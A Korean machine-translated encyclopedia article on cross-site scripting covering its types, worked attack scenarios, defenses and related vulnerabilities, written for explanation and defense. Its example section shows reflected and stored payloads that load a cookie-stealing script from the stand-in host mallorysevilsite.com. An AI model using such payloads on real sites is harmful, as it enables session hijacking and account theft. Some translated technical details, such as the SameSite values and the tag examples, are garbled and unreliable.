사이트 간 스크립팅

Cross-site scripting
「XSS」는 여기서 리다이렉트 됩니다.그 외의 사용법에 대해서는, 「XSS(동음이의)」를 참조해 주세요.
시리즈의 일부
정보 보안
vectorial version
관련 보안 카테고리
위협
방어.

사이트 간 스크립팅(XSS)은 일부 웹 응용 프로그램에서 발견되는 보안 취약성 유형입니다.XSS 공격을 통해 공격자는 클라이언트 측 스크립트를 다른 사용자가 보는 웹 페이지에 주입할 수 있습니다.공격자는 사이트 간 스크립팅 취약성을 사용하여 동일한 원본 정책 등의 액세스 제어를 무시할 수 있습니다.사이트 간 스크립팅 웹 사이트에서 수행한 모든 보안 취약성 시만텍이 2007년까지 문서화의 약 84%를 차지했다.[1]사이트 간 스크립팅 효과 범위에서 사소한 골칫거리 중요한 보안 위험들이 데이터가 취약한 사이트에 의해 취급되는 그 섬세하고 보안 예방하려면 코트 샘플 및 팁에 의해 시행된 자연에 따라 다르다.e사이트의 오너 네트워크.

배경

웹상의 보안은, 같은 발신기지 정책이라고 불리는 신뢰의 기본 개념을 포함한, 다양한 메카니즘에 의해서 결정됩니다.기본적으로 웹 브라우저 상의 리소스(쿠키 등)에 액세스할 수 있는 권한이 사이트(https://mybank.example1.com 등)의 콘텐츠에 부여되면 동일한 (1) URI 방식, (2) 호스트 이름 및 (3) 포트 번호의 URL 콘텐츠에 의해 이러한 권한이 공유된다는 것을 나타냅니다.이러한 3가지 속성 중 하나가 다른 URL로부터의 콘텐츠는 개별적으로 [2]권한을 부여해야 합니다.

사이트 간 스크립팅 공격은 웹 기반 응용 프로그램, 서버 또는 웹 기반 응용 프로그램이 의존하는 플러그인 시스템의 알려진 취약성을 사용합니다.공격자는 이들 중 하나를 이용하여 악의적인 콘텐츠를 손상된 사이트에서 전송되는 콘텐츠로 접습니다.결과적으로 조합된 콘텐츠가 클라이언트 측 웹 브라우저에 도착하면 모두 신뢰할 수 있는 소스로부터 전송되어 해당 시스템에 부여된 권한에 따라 작동합니다.공격자는 웹 페이지에 악의적인 스크립트를 삽입하는 방법을 찾아냄으로써 중요한 페이지 내용, 세션 쿠키 및 사용자를 대신하여 브라우저에 의해 유지되는 기타 다양한 정보에 대한 높은 접근 권한을 얻을 수 있습니다.사이트 간 스크립팅 공격은 코드 주입의 경우입니다.

Microsoft 보안 엔지니어들은 2000년 [3]1월에 "사이트 간 스크립팅"이라는 용어를 도입했습니다.사이트 간 스크립팅이라는 표현은 원래 공격 대상 도메인의 보안 컨텍스트에서 공격자가 준비한 JavaScript의 fragment를 실행하는(반영된 XSS 취약성 또는 비영구적인 XSS 취약성을 이용하는) 방식으로 관련 없는 공격 사이트에서 공격된 서드파티 웹 응용 프로그램을 로드하는 행위를 가리킵니다.이 정의는 지속적 및 비 JavaScript 벡터(ActiveX, Java, VBScript, Flash, HTML 스크립트 포함)를 포함한 다른 코드 주입 모드를 포함하도록 점차 확장되어 [4]정보 보안 분야의 초보자들에게 혼란을 야기했습니다.

XSS의 취약성은 1990년대부터 보고되어 부정 이용되고 있습니다.과거에 영향을 받은 주요 사이트로는 소셜 네트워킹 사이트인[5] 트위터와 [6]페이스북이 있다.이후 사이트 간 스크립팅 결함은 버퍼 오버플로우를 넘어 공개적으로 보고된 가장 일반적인 보안 [7]취약점이 되었습니다. 2007년 일부 연구자들은 웹 사이트의 68%가 XSS [8]공격에 노출될 가능성이 높다고 추정했습니다.

종류들

사이트 간 스크립팅 결함의 표준화된 단일 분류는 없지만 대부분의 전문가는 XSS 결함의 적어도 두 가지 주요 맛인 비영구성과 영속성을 구별합니다.일부 소스에서는 이러한 두 그룹을 기존(서버 측 코드 결함으로 인해 발생) 및 DOM 기반(클라이언트 측 코드)으로 더 세분화합니다.

비영구(반사)

비영구적 XSS 결함의 예

Google에는 비영구적인 XSS 취약성이 있으며 이를 통해 악의적인 사이트가 [9]로그인하는 동안 자신을 방문하는 Google 사용자를 공격할 수 있습니다.

비지속적(또는 반영됨) 사이트 간 스크립팅 취약성은 웹 [10]취약성의 가장 기본적인 유형입니다.이러한 구멍은 웹 [11]클라이언트가 제공하는 데이터(HTTP 쿼리 파라미터(HTML 폼의 송신 등)가 서버측 스크립트에 의해 즉시 사용되어 [12]내용을 적절히 삭제하지 않고 해당 사용자의 결과 페이지를 해석 및 표시할 때 나타납니다.

HTML 문서는 제어문, 형식 및 실제 내용을 혼합하는 평평한 직렬 구조를 가지고 있기 때문에 올바른 HTML 인코딩 없이 결과 페이지에 포함된 검증되지 않은 사용자 제공 데이터가 있으면 마크업 [10][12]주입이 발생할 수 있습니다.잠재적인 벡터의 전형적인 예는 사이트 검색 엔진입니다.문자열을 검색하면 검색 문자열이 결과 페이지에 문자 그대로 표시되므로 검색된 내용을 알 수 있습니다.이 응답이 HTML 제어 문자를 제대로 이스케이프하지 않거나 거부하면 사이트 간 스크립팅 결함이 발생합니다.[13]

반사된 공격은 일반적으로 전자 메일 또는 중립 웹 사이트를 통해 전달됩니다.미끼는 신뢰할 수 있는 사이트를 가리키지만 XSS 벡터가 포함된 순수한 외관의 URL입니다.신뢰할 수 있는 사이트가 벡터에 취약한 경우 링크를 클릭하면 공격 대상자의 브라우저가 주입된 스크립트를 실행할 수 있습니다.

영속적(또는 저장됨)

영구 XSS 결함의 예

컴퓨터 웜과 결합된 지속적인 크로스 존 스크립팅 취약성으로 인해 MySpace에서 [14]QuickTime 동영상을 통해 임의 코드를 실행하고 파일 시스템 컨텐츠를 나열할 수 있습니다.

영구적(또는 저장된) XSS 취약성은 사이트 간 스크립팅 결함의 더 심각한 변형입니다. 공격자가 제공한 데이터가 서버에 의해 저장되고, 이후 적절한 HTML 이스케이프 없이 일반 브라우징 중에 다른 사용자에게 반환된 "일반" 페이지에 영구적으로 표시될 때 발생합니다.대표적인 예로 온라인 메시지보드를 들 수 있습니다.이 게시판은 사용자가 HTML 형식의 메시지를 다른 사용자가 [12]읽을 수 있도록 허용합니다.

예를 들어, 회원들이 다른 회원들의 프로필을 스캔하여 그들이 흥미로워 보이는지 확인하는 데이트 웹사이트가 있다고 가정해 보자.개인정보 보호를 위해 이 사이트는 모든 사람의 실명과 이메일을 숨깁니다.이것들은 서버상에서 비밀에 부쳐주세요.브라우저에 회원의 실명과 이메일이 표시되는 것은 회원이 로그인 했을 때 뿐이며, 다른 회원은 다른 회원의 실명과 이메일을 볼 수 없습니다.

공격자 맬로리가 사이트에 접속해 사이트에서 본 사람들의 실명을 알아내려고 한다고 가정해 보자.그렇게 하기 위해, 그녀는 다른 사용자들이 자신의 프로필을 방문할 때 다른 사용자의 브라우저에서 실행되도록 설계된 스크립트를 작성합니다.그런 다음 스크립트는 자신의 서버로 빠른 메시지를 보냅니다. 서버는 이 정보를 수집합니다.

이렇게 하기 위해 이상적인 첫 데이트에 대해 맬로리는 (정상적으로 보이기 위해) 짧은 대답을 하지만, 그녀의 답변 끝에 있는 텍스트는 이름과 이메일을 도용하기 위한 그녀의 스크립트입니다.스크립트가 에 포함되어 있는 경우<script>화면에 표시되지 않습니다.그렇다면 데이트 사이트의 멤버인 밥이 맬로리의 프로필에 접속했다고 가정해 봅시다. 맬로리는 첫 데이트 질문에 대한 답을 가지고 있습니다.그녀의 스크립트는 브라우저에 의해 자동으로 실행되며 밥의 실제 이름과 이메일 복사본을 그의 기계에서 직접 훔칩니다.

공격자가 개별적으로 공격 대상을 지정하거나 타사 웹 사이트로 유인할 필요 없이 악의적인 스크립트가 자동으로 렌더링되므로 영구 XSS 취약성이 다른 유형보다 더 심각할 수 있습니다.특히 소셜 네트워킹 사이트의 경우, 코드는 계정 전체에 걸쳐 자가 전파되도록 설계되어 클라이언트 [15]측 웜의 한 종류를 생성합니다.

주입 방법은 크게 다를 수 있습니다. 공격자가 이러한 구멍을 이용하기 위해 웹 기능 자체와 직접 대화할 필요가 없는 경우도 있습니다.공격자가 제어할 수 있는 웹 응용 프로그램(전자 메일, 시스템 로그, IM 등)이 수신한 데이터는 모두 주입 벡터가 될 수 있습니다.

서버측과 DOM 기반의 취약성

DOM 기반 XSS 결함의 예

버그가 해결되기 전에는 Bugzilla 오류 페이지는 DOM 기반 XSS 공격에 노출되어 있었습니다.이 공격에서는 임의의 HTML 및 스크립트가 강제 오류 [16]메시지를 사용하여 주입될 수 있었습니다.

XSS 취약성은 원래 서버 측에서 모든 데이터 처리를 수행하는 응용 프로그램에서 발견되었습니다.유저 입력(XSS 벡터 포함)은, 서버에 송신되어 Web 페이지로서 유저에게 반송됩니다.사용자 경험 향상의 필요성에 따라 클라이언트 측에서 동작하는 프레젠테이션 로직(아마 JavaScript로 작성)의 대부분을 가진 애플리케이션이 인기를 끌었습니다.이러한 애플리케이션은, 온 디맨드로 AJAX 를 사용해 서버로부터 데이터를 꺼냅니다.

JavaScript 코드도 사용자 입력을 처리하여 웹 페이지 콘텐츠로 렌더링하고 있기 때문에 DOM 기반 크로스 사이트 스크립팅이라고 불리는 새로운 서브클래스의 반영 XSS 공격이 나타나기 시작했습니다.DOM 기반 XSS 공격에서는 악의적인 데이터가 웹 서버에 닿지 않습니다.오히려 클라이언트 측에서 JavaScript [17]코드에 의해 완전히 반영되고 있습니다.

DOM 기반 XSS 취약성의 예로는 2011년 다수의 [18]jQuery 플러그인에서 발견된 버그가 있습니다.DOM 기반 XSS 공격의 방지 전략에는 기존의 XSS 방지 전략과 매우 유사한 방법이 포함되지만 JavaScript 코드로 구현되어 웹 페이지에 포함되어 있습니다(입력 검증 및 이스케이프).[19]일부 JavaScript 프레임워크에는 이러한 공격 및 기타 유형의 공격에 대한 대책이 내장되어 있습니다(예: Angular).JS.[20]

셀프 XSS

Self-XSS는 피해자가 브라우저에서 악의적인 JavaScript 코드를 실행하도록 속이기 위해 소셜 엔지니어링에 의존하는 XSS 취약성의 한 형태입니다.영향을 받는 웹사이트의 결함보다는 코드 실행에 대한 사용자의 사회적 엔지니어링에 의존하기 때문에 기술적으로 진정한 XSS 취약성은 아니지만 공격자가 적절하게 [21]실행할 경우 일반 XSS 취약성과 동일한 위험을 초래합니다.

변환 XSS(mXSS)

변환된 XSS는 공격자가 마크업을 해석하는 동안 안전한 것처럼 보이지만 브라우저에 의해 다시 쓰여지고 수정되는 것을 주입할 때 발생합니다.이로 인해 웹 사이트의 응용 프로그램 로직 내에서 탐지하거나 삭제하기가 매우 어렵습니다.예를 들어 닫히지 않은 따옴표를 재조정하거나 따옴표를 따옴표로 둘러싸지 않은 파라미터에 CSS 폰트패밀리에 추가하는 경우가 있습니다.

이용 예

사이트 간 스크립팅 취약성을 부정 이용하는 공격자는 취약성의 각 클래스에 대해 다르게 접근해야 합니다.여기에서는 클래스별로 특정 공격 벡터에 대해 설명합니다.다음 이름은 컴퓨터 보안에서 일반적으로 사용되는 Alice-and-Bob 문자 캐스트에서 따온 기술 용어입니다.브라우저 공격 프레임워크를 사용하여 웹 사이트와 사용자의 로컬 환경을 공격할 수 있습니다.

비영구적

  1. 앨리스는 밥이 호스팅하는 특정 웹사이트를 자주 방문합니다.Bob의 웹 사이트에서는 Alice가 사용자 이름/비밀번호 쌍으로 로그인할 수 있으며 청구 정보와 같은 중요한 데이터를 저장할 수 있습니다.사용자가 로그인할 때 브라우저는 임의의 문자처럼 보이는 인증 쿠키를 보관하므로, 두 컴퓨터(클라이언트와 서버) 모두 사용자가 로그인한 기록을 보유합니다.
  2. Mallory는 Bob의 웹 사이트에 XSS 취약성이 반영되어 있음을 관찰합니다.
    1. 검색 페이지를 방문하면 검색 상자에 검색어를 입력하고 제출 버튼을 클릭합니다.결과를 찾을 수 없는 경우 페이지에는 검색어 뒤에 "not found"라는 단어가 표시되며 URL은 다음과 같습니다.http://bobssite.org/search?q=her%20search%20term.
    2. 일반 검색 쿼리에서는 "found"라는 단어와 같이 페이지에 "found not found"라고 표시되며 URL은 "http://bobssite.org/search?q=puppies"입니다. 이는 완전히 정상적인 동작입니다.
    3. 단, 예를 들어 "와 같은 비정상적인 검색 쿼리를 제출하면<script>alert('xss');</script>",
      1. 경보 상자("xss")가 나타납니다.
      2. 페이지에 "not found"라는 오류 메시지와 함께 "xss"라는 텍스트가 표시됩니다.
      3. URL은 " 입니다.http://bobssite.org/search?q=<script>alert('xss');</script>- 악용 가능한 행동입니다.
  3. Mallory는 이 취약성을 이용하기 위해 다음 URL을 작성합니다.
    1. 그녀는 URL을 만듭니다.http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>다음과 같이 ASCII 문자를 퍼센트 인코딩으로 인코딩할 수 있습니다.http://bobssite.org/search?q=puppies%3Cscript%20src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E이를 [22]통해 인간 리더가 악의적인 URL을 즉시 해독할 수 있습니다.
    2. 그녀는 Bob의 사이트 회원들에게 이메일을 보내 "귀여운 강아지들 좀 봐!"라고 말한다.
  4. 앨리스는 이메일을 받는다.그녀는 강아지를 좋아하고 링크를 클릭한다.Bob의 웹사이트에 접속하여 아무것도 찾지 못하고 "puppies not found"라고 표시되지만, 중간에 스크립트 태그가 실행되고(화면에서는 보이지 않음), Mallory의 프로그램 authstealer.js(XSS 공격을 트리거)가 로드되어 실행됩니다.앨리스는 그것을 잊었다.
  5. authstealer.js 프로그램은 Alice의 브라우저에서 Bob의 웹사이트에서 시작된 것처럼 실행됩니다.그것은 앨리스의 인증 쿠키의 복사본을 잡아 맬로리의 서버로 보내고, 거기서 맬로리가 그것을 가져옵니다.
  6. Mallory는 이제 Alice's Authorization Cookie를 자신의 브라우저처럼 브라우저에 넣습니다.그런 다음 Bob의 사이트에 접속하여 Alice로 로그인 합니다.
  7. 이제 Mallory는 웹사이트의 Billing 섹션으로 가서 Alice의 신용카드 번호를 찾아 복사본을 집습니다.그런 다음 Alice가 로그인할 수 없도록 Alice의 계정 비밀번호를 변경합니다.
  8. 그녀는 한 걸음 더 나아가서 비슷하게 조작된 링크를 밥 본인에게 전송하여 밥의 웹사이트에 관리자 권한을 얻습니다.

이 공격을 완화하기 위해 몇 가지 조치를 취할 수 있었습니다.

  1. 검색 입력이 삭제되었을 수 있으며 여기에는 적절한 인코딩 검사가 포함됩니다.
  2. 잘못된 요청을 리디렉션하도록 웹 서버를 설정할 수 있습니다.
  3. 웹 서버가 동시 로그인을 검출하여 세션을 무효화할 수 있습니다.
  4. 웹 서버는 서로 다른2 개의 IP 주소로부터의 동시 로그인을 검출해, 세션을 무효로 할 수 있습니다.
  5. 웹사이트는 이전에 사용한 신용카드의 마지막 몇 자리 숫자만 표시할 수 있었다.
  6. 웹 사이트에서는 사용자가 등록 정보를 변경하기 전에 암호를 다시 입력해야 할 수 있습니다.
  7. 웹 사이트는 콘텐츠 보안 정책의 다양한 측면을 제정할 수 있습니다.
  8. 쿠키 설정HttpOnly플래그를 지정하여 JavaScript로부터의 접근을 금지합니다.

지속적인 공격

  1. 맬로리는 밥의 웹사이트에서 계정을 얻습니다.
  2. Mallory는 Bob의 웹사이트에는 저장된 XSS 취약성이 있음을 관찰합니다.News 섹션에 접속하여 코멘트를 투고하면 사이트에 입력된 내용이 표시됩니다.코멘트 텍스트에 HTML 태그가 포함되어 있는 경우는, Web 페이지의 소스에 추가됩니다.특히 스크립트 태그는 페이지가 로드될 때 실행됩니다.
  3. Mallory는 뉴스 섹션의 기사를 읽고 다음과 같은 의견을 입력합니다.
    I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
  4. 앨리스(또는 다른 사람)가 코멘트와 함께 페이지를 로드하면, Mallory의 스크립트 태그가 실행되어 Alice의 인증 쿠키를 도용하여 [22]수집을 위해 Mallory의 비밀 서버로 보냅니다.
  5. 맬로리는 이제 앨리스의 세션을 납치하고 앨리스 [23][22]흉내를 낼 수 있다.

Bob의 웹사이트 소프트웨어는 스크립트 태그를 제거하거나 동작하지 않도록 조치를 취해야 합니다.보안 버그는 그가 동작하지 않았다는 사실에 기인합니다.

예방책

문자열 입력의 컨텍스트 출력 부호화/에스케이프

HTML 문서 내에서 신뢰할 수 없는 문자열을 배치해야 하는 위치에 따라 HTML 엔티티 인코딩, JavaScript 이스케이프, CSS 이스케이프, URL([24]또는 퍼센트) 인코딩 등 여러 이스케이프 방식을 사용할 수 있습니다.리치 데이터를 받아들일 필요가 없는 대부분의 웹 애플리케이션은 이스케이프를 사용하여 XSS 공격의 위험을 상당히 쉽게 제거할 수 있습니다.

HTML 엔티티 인코딩을 5개의 XML에서만 실행하는 것은 다양한 형태의 XSS 공격을 방지하는 데 항상 충분한 것은 아닙니다.보통 보안 인코딩 라이브러리는 [24]사용하기 쉽습니다.

일부 웹 템플릿시스템은 HTML의 구조를 이해하고 적절한 [25][26][27]인코더를 자동으로 선택합니다.

신뢰할 수 없는 HTML 입력의 안전한 유효성 검사

특정 웹 애플리케이션(예: 포럼 및 웹 메일)의 많은 운영자가 사용자가 HTML 마크업의 제한된 부분 집합을 사용할 수 있도록 허용합니다.사용자로부터의 HTML 입력을 받아들이는 경우(예를 들어,<b>very</b> large출력 부호화(예:&lt;b&gt;very&lt;/b&gt; large사용자 입력은 브라우저에서 HTML로 렌더링해야 하므로 충분하지 않습니다(따라서 "매우 크다"가 아닌 "매우 크다"로 표시됩니다).이 상황에서는 사용자로부터의 HTML 입력을 받아들일 때 XSS 공격을 중지하는 것이 훨씬 더 복잡합니다.신뢰할 수 없는 HTML 입력은 XSS 코드를 포함하지 않도록 HTML 검사 엔진을 통해 실행해야 합니다.

많은 검증은 다음과 같은 특정 "위험" HTML 태그를 해석(블랙리스트)하는 데 의존합니다.

< >대본> < >링크> < >프레임>

이 접근법에는 몇 가지 문제가 있습니다.예를 들어, 일견 무해한 것처럼 보이는 태그가 생략될 수 있습니다.이를 올바르게 사용하면 XSS가 발생할 수 있습니다.

(다음 예 참조)

< >img src="script: script(1)">

또 다른 일반적인 방법은 " 및 "의 사용자 입력을 제거하는 것이지만, 페이로드를 난독화로 숨길 수 있기 때문에 이 방법도 우회할 수 있습니다(이 예에 대해서는 [1] 링크를 참조하십시오).

쿠키 보안

콘텐츠 필터링 외에 사이트 간 스크립팅 완화를 위한 다른 불완전한 방법도 일반적으로 사용됩니다.예를 들어 cookie 기반 사용자 인증을 처리할 때 추가 보안 제어를 사용하는 경우가 있습니다.대부분의 웹 응용 프로그램은 개별 HTTP 요청 간의 인증에 세션쿠키를 사용합니다.클라이언트 측 스크립트는 일반적으로 이러한 쿠키에 액세스할 수 있기 때문에 단순한 XSS 악용으로 이러한 [28]쿠키가 도용될 수 있습니다.(일반적으로 XSS 문제는 아니지만) 이 특정 위협을 완화하기 위해 많은 웹 응용 프로그램은 세션 쿠키를 처음 로그인한 사용자의 IP 주소에 연결하고 해당 IP에서만 해당 [29]쿠키를 사용하도록 허용합니다.이것은 대부분의 상황에서 유효합니다(공격자가 cookie 뒤에 있는 경우만).단, 공격자가 공격 대상자와 같은 NATed IP 주소 또는 웹 프록시의 배후에 있거나 공격 대상자가 모바일 [29]IP를 변경하고 있는 경우에는 분명히 문제가 발생합니다.

Internet Explorer(버전 6 이후), Firefox(버전 2.0.0.5 이후), Safari(버전 4 이후), Opera(버전 9.5 이후) 및 Google Chrome에는 웹 서버가 클라이언트 측 스크립트에서 사용할 수 없는 쿠키를 설정할 수 있는 HttpOnly 플래그가 있습니다.이 기능은 유용하지만 쿠키 도난을 완전히 방지하거나 브라우저 [30]내 공격을 방지할 수는 없습니다.

스크립트 디세이블화

Web 2.0 및 Ajax 개발자는 JavaScript를 [31]사용해야 하지만 일부 웹 애플리케이션은 클라이언트 [32]측 스크립트를 사용하지 않고도 작업을 수행할 수 있도록 작성되어 있습니다.이를 통해 사용자는 응용 프로그램을 사용하기 전에 브라우저에서 스크립트를 비활성화할 수 있습니다.이렇게 하면 악의적인 클라이언트 측 스크립트도 페이지에 이스케이프 없이 삽입할 수 있으므로 사용자는 XSS 공격에 취약하지 않습니다.

일부 브라우저 또는 브라우저 플러그인은 도메인 단위로 클라이언트 측 스크립트를 비활성화하도록 구성할 수 있습니다.이 접근법은 스크립팅이 기본적으로 허용된 경우 사용자가 악성 사이트를 인식한 후에만 차단하기 때문에 가치가 제한됩니다.이는 너무 늦기 때문입니다.기본적으로 모든 스크립팅 및 외부 포함을 차단한 다음 사용자가 도메인 단위로 사용할 수 있도록 하는 기능이 더 효과적입니다.이것은 Internet Explorer(버전 4 이후)에서 보안 존(Security Zones)[33]을 설정하고 Opera(버전 9 이후)에서 사이트 고유 설정(Site Specific Preferences)[34]을 사용하여 오랫동안 가능했습니다.Firefox 및 기타 Gecko 기반 브라우저를 위한 솔루션은 오픈 소스 NoScript 애드온입니다.이 애드온은 도메인 단위로 스크립트를 활성화할 수 있을 뿐만 아니라 스크립트가 [35]활성화되어 있는 경우에도 XSS 보호를 제공합니다.

디폴트로는 모든 웹 사이트의 모든 스크립트를 차단하는 가장 큰 문제는 기능과 응답성의 대폭 저하입니다(리모트서버에 접속할 필요가 없고 페이지 또는 프레임을 [36]새로고침할 필요가 없기 때문에 클라이언트 측 스크립팅이 서버 측 스크립팅보다 훨씬 빠를 수 있습니다).스크립트 블로킹의 또 다른 문제는 많은 사용자가 스크립트 블로킹을 이해하지 못하고 브라우저를 적절히 보호하는 방법을 모른다는 것입니다.또 다른 단점은 많은 사이트가 클라이언트 측 스크립팅 없이 작동하지 않기 때문에 사용자가 해당 사이트에 대한 보호를 해제하고 시스템을 [37]취약성에 노출시킬 수 있다는 것입니다.Firefox NoScript 확장을 통해 사용자는 동일한 페이지에서 다른 스크립트를 허용하지 않고 지정된 페이지에서 선택적으로 스크립트를 허용할 수 있습니다.예를 들어, example.com의 스크립트는 허용되지만, 같은 페이지에서 실행하려는 advertisingagency.com의 스크립트는 [38]허용되지 않을 수 있습니다.

스크립트 선택 비활성화

CSP[39](Content-Security-Policy)를 사용하면 HTML 문서는 일부 스크립트를 비활성화하고 다른 스크립트는 활성화한 상태로 둘 수 있습니다.브라우저는 실행 여부를 결정하기 전에 각 스크립트를 정책과 대조합니다.정책이 신뢰할 수 있는 스크립트만 허용하고 동적 코드 로드를 허용하지 않는 한, 브라우저는 HTML 문서의 구조에 관계없이 신뢰할 수 없는 작성자의 프로그램을 실행하지 않습니다.

이로 인해 보안 부담이 정책 작성자에게 이전됩니다.연구는[40] 호스트 화이트리스트 기반 정책의 효율성에 의문을 제기했습니다.

전체적으로 스크립트 실행을 제한하려는 정책의 94.68%가 효과가 없으며 CSP를 사용하는 호스트의 99.34%가 XSS에 대해 아무런 이점이 없는 정책을 사용하고 있음을 알 수 있습니다.

최신[41] CSP 정책을 사용하면 정책을 페이지 내용과 완전히 분리하는 대신 난스를[42] 사용하여 HTML 문서의 스크립트를 실행해도 안전한 것으로 표시할 수 있습니다.신뢰할 수 있는 스크립트에만 신뢰할 수 있는 난스가 표시되는 한 브라우저는 신뢰할 수 없는 작성자의 프로그램을 실행하지 않습니다.일부 대규모 응용 프로그램 공급자가 논스 기반 [43][44]정책을 성공적으로 배포했다고 보고합니다.

새로운 방어 기술

클라이언트 측 프레임워크의 인기는 공격자가 XSS를 [45]구축하는 방법을 변화시켰습니다.

스크립트 가젯은 어플리케이션의 정규 코드 베이스 내의 정규 자바스크립트 단편입니다.현대의 거의 모든 자바스크립트 프레임워크에 이러한 가젯이 존재함을 증명하고, 실제 코드로 스크립트 가젯의 보급을 나타내는 실증적 연구를 제시합니다.그 결과 오늘날 작성된 웹 어플리케이션의 대부분의 경감 기술을 우회할 수 있다고 가정합니다.

신뢰할[46] 수 있는 유형은 웹 API를 변경하여 값이 신뢰할 수 있는 것으로 상표 지정되었는지 확인합니다.프로그램이 신뢰할 수 있는 값만 등록하는 한 JavaScript 문자열 값을 제어하는 공격자는 XSS를 발생시킬 수 없습니다.신뢰할 수 있는 유형은 파란색 팀이 감사할 수 있도록 설계되었습니다.

또 다른 방어 방법은 웹 페이지에서 XSS 악성 코드를 제거하는 자동화된 도구를 사용하는 것입니다. 이러한 도구는 정적 분석 및/또는 패턴 매칭 방법을 사용하여 잠재적으로 악성 코드를 식별하고 [47]탈출 등의 방법을 사용하여 악성 코드를 보호합니다.

SameSite cookie 파라미터

SameSite=Module 매개 변수를 사용하여 쿠키를 설정하면 모든 교차 검색 요청에서 쿠키가 제거됩니다.SameSite=Matrix로 설정하면 "안전하지 않은" 모든 교차 검색 요청(즉,[48] 읽기 전용 시멘틱스를 가진 GET, OPTIONS 및 TRACE 이외의 요청)에서 제거됩니다.이 기능은 버전 63 이후 Google Chrome 및 버전 [49]60 이후 Firefox에 구현되어 있습니다.

관련 취약성

Universal Cross-Site Scripting(UXSS 또는 Universal XSS) 공격에서는 브라우저 자체 또는 브라우저 플러그인의 취약성이 악용됩니다(XSS [50][51]공격과 같이 다른 웹 사이트의 취약점이 아닙니다).

XSS에는 몇 가지 취약성 또는 공격 기법이 관련되어 있습니다.크로스 존 스크립팅은 특정 브라우저의 "존" 개념을 악용하여 보통 더 큰 [52][53]특권으로 코드를 실행합니다.HTTP 헤더 주입을 사용하면 HTTP 프로토콜레벨에서의 문제 회피로 인해 사이트 간 스크립팅 조건을 작성할 수 있습니다(HTTP 응답 [54]분할 등의 공격을 이노블로 할 수도 있습니다).

사이트 간 요구 위조(CSRF/XSRF)는 XSS와 거의 반대입니다.즉, 공격자는 사이트에 대한 사용자의 신뢰를 부정 이용하는 것이 아니라 클라이언트소프트웨어에 대한 사이트의 신뢰를 부정 이용하는 것으로, 사이트가 인증된 [55]사용자의 의식적이고 의도적인 액션을 나타내고 있다고 생각되는 요구를 송신합니다.XSS 취약성은 (같은 도메인에서 실행되는 다른 응용 프로그램에서도) 공격자가 CSRF 차단 [56]작업을 무시할 수 있도록 합니다.

Convert Redirection은 XSS 또는 Open Redirect [57]공격에 취약한 서드파티 클라이언트를 이용합니다.일반적으로 악성 페이지의 URL은 실제 사이트의 URL에서 몇 글자만 삭제되므로 일반 피싱 시도는 쉽게 찾을 수 있습니다.Convert Redirection과의 차이점은 공격자가 악의적인 로그인 팝업 대화 [58]상자에서 사이트를 손상시킴으로써 실제 웹 사이트를 대신 사용할 수 있다는 것입니다.

마지막으로 SQL 주입은 응용 프로그램의 데이터베이스 계층의 취약성을 이용합니다.사용자 입력이 잘못 필터링되면 [59][60]응용 프로그램에서 SQL 문을 실행할 수 있습니다.

특정 버전의 웹 브라우저에 영향을 주는 특정 XSS는 고유하기 쉽습니다.그 결과 XSS를 사용하여 브라우저 벤더 및 [61]버전의 사용자를 지문 채취할 수 있습니다.

「 」를 참조해 주세요.

레퍼런스

  1. ^ 2007년 하반기에는 사이트 고유의 크로스 사이트 취약성이 XSSed에 의해 11,253건 문서화되어 Symantec에 의해 문서화되어 있던 기존의 취약성 2,134건에 비해 "Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary)" (PDF). XIII. Symantec Corp. April 2008: 1–3. Archived from the original (PDF) on June 25, 2008. Retrieved May 11, 2008.{{cite journal}}:Cite 저널 요구 사항 journal=(도움말)
  2. ^ "Same Origin Policy - Web Security. W3.org". Retrieved November 4, 2014.
  3. ^ "dross" on MSDN (December 15, 2009). "Happy 10th birthday Cross-Site Scripting!". Retrieved March 19, 2016. On the 16th of January, 2000, the following names were suggested and bounced around among a small group of Microsoft security engineers: [...] The next day there was consensus – Cross Site Scripting.
  4. ^ Grossman, Jeremiah (July 30, 2006). "The origins of Cross-Site Scripting (XSS)". Retrieved September 15, 2008.
  5. ^ Arthur, Charles (September 21, 2010). "Twitter users including Sarah Brown hit by malicious hacker attack". The Guardian. Retrieved September 21, 2010.
  6. ^ Leyden, John (May 23, 2008). "Facebook poked by XSS flaw". The Register. Retrieved May 28, 2008.
  7. ^ Christey, Steve; Martin, Robert A. (May 22, 2007). "Vulnerability Type Distributions in CVE (version 1.1)". MITRE Corporation. Retrieved June 7, 2008.
  8. ^ Berinato, Scott (January 1, 2007). "Software Vulnerability Disclosure: The Chilling Effect". CSO. CXO Media. p. 7. Archived from the original on April 18, 2008. Retrieved June 7, 2008.
  9. ^ Amit, Yair (December 21, 2005). "Google.com UTF-7 XSS Vulnerabilities". Archived from the original on October 23, 2020. Retrieved February 20, 2022.
  10. ^ a b Paco, Hope; Walther, Ben (2008). Web Security Testing Cookbook. Sebastopol, CA: O'Reilly Media, Inc. p. 128. ISBN 978-0-596-51483-9.
  11. ^ Hydara, Isatou; Sultan, Abu Bakar Md.; Zulzalil, Hazura; Admodisastro, Novia (February 1, 2015). "Current state of research on cross-site scripting (XSS) – A systematic literature review". Information and Software Technology. 58: 170–186. doi:10.1016/j.infsof.2014.07.010.
  12. ^ a b c "Cross-site Scripting". Web Application Security Consortium. 2005. Retrieved May 28, 2008.
  13. ^ Grossman, Jeremiah; Hansen, Robert; Fogie, Seth; Petkov, Petko D.; Rager, Anton (2007). XSS Attacks: Cross Site Scripting Exploits and Defense (Abstract). pp. 70, 156. ISBN 978-1-59749-154-9. Retrieved May 28, 2008.
  14. ^ 이 웜의 이름은 JS/Ofigel-A, JS/Quickspace입니다.A와 JSQspace, in 및
  15. ^ 알콘, 웨이드(9월 27일 2005년)에 바이러스와 웜은."그 Cross-site 스크립팅 바이러스".BindShell.net.5월 16일 2008년에 원래에서 Archived.Retrieved 5월 27일 2008년과 그로스만, 예레미야(11월 2020년)."XSS보름스와 바이러스:.그 Impending 위협과 최우수 Defense".WhiteHat 안전 보장. 페이지의 주 20.Retrieved 6월 6일 2008년.[영구적인 죽은 링크]
  16. ^ "Bug 272620 – XSS vulnerability in internal error messages". Bugzilla@Mozilla. 2004. Retrieved May 29, 2008.
  17. ^ "DOM based XSS". OWASP.
  18. ^ "JQuery bug #9521". 2011.
  19. ^ "DOM based XSS prevention cheat sheet". OWASP.
  20. ^ "Strict Contextual Escaping". Angular.js.
